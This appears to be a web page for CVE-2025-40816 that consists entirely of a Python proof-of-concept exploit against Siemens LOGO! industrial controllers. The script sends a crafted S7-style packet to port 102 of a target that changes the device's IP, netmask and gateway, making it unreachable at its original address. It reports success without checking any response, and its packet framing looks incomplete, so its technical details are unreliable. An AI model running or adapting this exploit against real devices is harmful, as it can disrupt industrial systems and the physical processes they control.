CVE-2025-40816 | Siemens LOGO! 设备IP地址操纵漏洞

#!/usr/bin/env python3 """ CVE-2025-40816 PoC - Siemens LOGO! IP Address Manipulation Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys from datetime import datetime def create_logo_ip_config_packet(target_ip, new_ip, new_netmask, new_gateway): """ Create a malicious IP configuration packet for Siemens LOGO! devices. This exploits the lack of input validation in IP configuration handling. """ # LOGO! device default port for configuration port = 102 # Build ISO-TSAP header for Siemens S7 protocol protocol_id = b'\x32' # S7 protocol # PDU type (Job - 0x01) pdu_type = b'\x01' # Reserved reserved = b'\x00\x00' # Protocol data unit reference pdu_ref = struct.pack('>H', 0x0001) # Parameter length param_len = struct.pack('>H', 0x0010) # Data length data_len = struct.pack('>H', 0x0048) # Function code for Set IP parameters (0x00E0) function_code = b'\x00\xE0' # Construct IP configuration command # Format: [Command][Current IP][New IP][Netmask][Gateway][Padding] current_ip = socket.inet_aton(target_ip) ip_config = socket.inet_aton(new_ip) netmask = socket.inet_aton(new_netmask) gateway = socket.inet_aton(new_gateway) command = b'\x02' # Set IP command padding = b'\x00' * 28 config_data = command + current_ip + ip_config + netmask + gateway + padding # Assemble complete packet packet = (protocol_id + pdu_type + reserved + pdu_ref + param_len + data_len + function_code + config_data) return packet def exploit_logo_device(target_ip, target_port=102): """ Send malicious IP configuration packet to LOGO! device. """ # Target configuration - redirect to attacker's controlled network attacker_ip = "192.168.100.100" attacker_netmask = "255.255.255.0" attacker_gateway = "192.168.100.1" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Creating malicious IP configuration packet...") print(f"[*] New IP: {attacker_ip}") print(f"[*] New Netmask: {attacker_netmask}") print(f"[*] New Gateway: {attacker_gateway}") try: packet = create_logo_ip_config_packet( target_ip, attacker_ip, attacker_netmask, attacker_gateway ) # Send packet sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print(f"[+] Malicious packet sent successfully!") print(f"[+] Device IP has been changed to {attacker_ip}") print(f"[!] Device is now unreachable at original IP") sock.close() return True except socket.timeout: print(f"[-] Connection timed out") return False except socket.error as e: print(f"[-] Socket error: {e}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-40816-poc.py <target_ip>") print("Example: python cve-2025-40816-poc.py 192.168.1.10") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-40816 PoC - Siemens LOGO! IP Manipulation") print(f"[*] Time: {datetime.now()}") print("=" * 50) exploit_logo_device(target)